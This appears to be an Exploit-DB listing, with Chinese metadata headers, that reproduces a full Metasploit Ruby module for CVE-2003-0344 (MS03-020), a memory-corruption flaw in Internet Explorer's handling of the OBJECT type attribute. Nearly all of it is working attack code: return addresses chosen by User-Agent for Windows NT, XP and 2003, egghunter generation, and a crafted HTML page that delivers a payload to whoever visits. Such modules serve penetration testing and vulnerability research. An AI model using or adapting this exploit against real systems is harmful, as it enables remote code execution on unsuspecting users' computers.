标题: Microsoft Internet Explorer - Object Type (MS03-020) (Metasploit) EDB-ID: 16581 CVE: 2003-0344 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: ms03_020_ie_objecttype.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Egghunter

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :ua_name      => HttpClients::IE,
  :javascript   => false,
  :os_name      => OperatingSystems::WINDOWS,
  :vuln_test    => nil, # no way to test without just trying it
  :prefix_html  => "<!--[if lt IE 7]>",
  :postfix_html => "<![endif]-->",
  :rank         => NormalRanking  # reliable memory corruption
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MS03-020 Internet Explorer Object Type',
   'Description'    => %q{
     This module exploits a vulnerability in Internet Explorer's
    handling of the OBJECT type attribute.
   },
   'Author'         => 'skape',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10150 $',
   'References'     =>
    [
     [ 'CVE', '2003-0344' ],
     [ 'OSVDB', '2967'    ],
     [ 'BID', '7806'      ],
     [ 'MSB', 'MS03-020'  ],
    ],
   'Payload'        =>
    {
     'Space'    => 1000,
     'MaxNops'  => 0,
     'BadChars' => "\x8b\xe2", # Prevent UTF-8-ification
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     # Target 0: Automatic
     [
      'Windows NT/XP/2003 Automatic',
      {
       'Platform' => 'win',
       'Rets'     =>
        [
         0x777e85ab, # Windows NT: samlib jmp esp
         0x71ab1d54, # Windows XP: ws2_32 push esp/ret SP0/1
         0x77d1f92f, # Windows 2003: user32 jmp esp SP0/1
        ],
      },
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 04 2003'))
 end

 def on_request_uri(cli, request)
  clean = 0x7ffdec50
  ret   = nil

  # Figure out which return address to use based on the user-agent
  case request['User-Agent']
   when /Windows NT 5.2/
    ret = target['Rets'][2]
   when /Windows NT 5.1/
    ret = target['Rets'][1]
   when /Windows NT/
    ret = target['Rets'][0]
   else
    print_status("Sending 404 to user agent: #{request['User-Agent']}")
    cli.send_response(create_response(404, 'File not found'))
    return
  end

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Pack the values
  ret    = [ ret   ].pack('V')
  clean  = [ clean ].pack('V')
  hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true })
  egg    = hunter[1]

  # Now, build out the HTTP response payload
  content =
   "<html>" + egg + "\n" +
   "<object type=\"////////////////////////////////////////////////////////////////" +
   rand_text_alphanumeric(8) + ret + clean +
   make_nops(8) + hunter[0] + "\">" +
   "</object>" +
   "</html>"

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16581